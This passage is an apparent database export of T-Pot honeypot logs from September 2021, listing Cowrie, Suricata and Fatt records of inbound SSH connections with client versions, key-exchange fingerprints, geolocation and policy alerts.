36158	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:12:30.272568+03	2021-09-20 15:15:04.20869+03	{"_id": "iwYfA3wBvYTbRNuEOmC8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.87.161.152", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.5'", "session": "06866deafa5f", "version": "b'SSH-2.0-libssh_0.9.5'", "@version": "1", "timestamp": "2021-09-20T12:12:30.272568Z", "@timestamp": "2021-09-20T12:12:30.272Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	CN
36159	113.87.161.152	109.199.241.180	Suricata	2021-09-20 15:12:30.551072+03	2021-09-20 15:15:04.20969+03	{"_id": "jQYfA3wBvYTbRNuEO2DX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.5"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "113.87.161.152", "dest_ip": "192.168.20.116", "flow_id": 1876773917497692, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 2323, "dest_port": 22, "timestamp": "2021-09-20T12:12:30.551072Z", "@timestamp": "2021-09-20T12:12:30.551Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	CN
36160	113.87.161.152	109.199.241.180	Fatt	2021-09-20 15:12:30.551166+03	2021-09-20 15:15:04.210691+03	{"_id": "jwYfA3wBvYTbRNuEPGDR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "113.87.161.152", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.5", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 2323, "dest_port": 22, "timestamp": "2021-09-20T12:12:30.551166", "@timestamp": "2021-09-20T12:12:30.551Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	CN
36161	146.185.130.101	109.199.241.180	Suricata	2021-09-20 15:12:32.397073+03	2021-09-20 15:15:04.21269+03	{"_id": "oAYfA3wBvYTbRNuEQ2Cq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:12:32.303540+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "146.185.130.101", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "146.185.130.101", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1935737376252340, "payload": "AAADzAYUgehERpuMe5ze8oewsZBgbQAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 51176, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:12:32.397073Z", "@timestamp": "2021-09-20T12:12:32.397Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "........DF..{.......`m...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	NL
36162	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:12:31.720483+03	2021-09-20 15:15:04.21469+03	{"_id": "kgYfA3wBvYTbRNuEP2DA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:12:31.349795+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 193, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "61.133.192.126", "flow_id": 1162827946481251, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 63527, "timestamp": "2021-09-20T12:12:31.720483Z", "@timestamp": "2021-09-20T12:12:31.720Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
36163	146.185.130.101	109.199.241.180	Cowrie	2021-09-20 15:12:32.353494+03	2021-09-20 15:15:04.21569+03	{"_id": "mwYfA3wBvYTbRNuEQmCN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "146.185.130.101", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "146.185.130.101", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "3aacfbac9ad4", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:12:32.353494Z", "@timestamp": "2021-09-20T12:12:32.353Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	NL
36331	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 15:14:01.101022+03	2021-09-20 15:15:04.44169+03	{"_id": "JAYgA3wBvYTbRNuEnmJo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "013ebd7fb3a7", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:14:01.101022Z", "@timestamp": "2021-09-20T12:14:01.101Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	BY
36164	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:12:32.576185+03	2021-09-20 15:15:04.21669+03	{"_id": "owYfA3wBvYTbRNuEQ2Cr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:12:31.349795+0000", "pkts_toclient": 4, "pkts_toserver": 3, "bytes_toclient": 266, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "61.133.192.126", "flow_id": 1162827946481251, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 63527, "timestamp": "2021-09-20T12:12:32.576185Z", "@timestamp": "2021-09-20T12:12:32.576Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
36165	5.188.62.251	109.199.241.180	Cowrie	2021-09-20 15:12:16.227941+03	2021-09-20 15:15:04.21869+03	{"_id": "eQYfA3wBvYTbRNuEBGAG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.251", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.251", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "621da7b44843", "@version": "1", "duration": 1.2968764305114746, "timestamp": "2021-09-20T12:12:16.227941Z", "@timestamp": "2021-09-20T12:12:16.227Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	RU
36166	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:12:36.912876+03	2021-09-20 15:15:04.21969+03	{"_id": "uQYfA3wBvYTbRNuEVGCJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 36220, "dest_port": 443, "timestamp": "2021-09-20T12:12:36.912876", "@timestamp": "2021-09-20T12:12:36.912Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
36167	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 15:12:37.096245+03	2021-09-20 15:15:04.22069+03	{"_id": "vwYfA3wBvYTbRNuEVmAY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "c27f65af1734", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:12:37.096245Z", "@timestamp": "2021-09-20T12:12:37.096Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	BR
36168	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 15:12:37.330253+03	2021-09-20 15:15:04.22169+03	{"_id": "wAYfA3wBvYTbRNuEVmAY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "c27f65af1734", "@version": "1", "timestamp": "2021-09-20T12:12:37.330253Z", "@timestamp": "2021-09-20T12:12:37.330Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	BR
36169	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:12:37.282586+03	2021-09-20 15:15:04.222689+03	{"_id": "wQYfA3wBvYTbRNuEV2A0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 39862, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 304036351135706, "@version": "1", "in_iface": "enp5s0", "src_port": 38238, "dest_port": 53, "timestamp": "2021-09-20T12:12:37.282586Z", "@timestamp": "2021-09-20T12:12:37.282Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
36170	189.50.42.214	109.199.241.180	Suricata	2021-09-20 15:12:37.329999+03	2021-09-20 15:15:04.22469+03	{"_id": "wgYfA3wBvYTbRNuEV2A0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:12:36.859591+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "189.50.42.214", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1226687668035015, "payload": "AAADzAYU3IL1VL3hPQXyYsfRk3MwXgAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 43890, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:12:37.329999Z", "@timestamp": "2021-09-20T12:12:37.329Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": 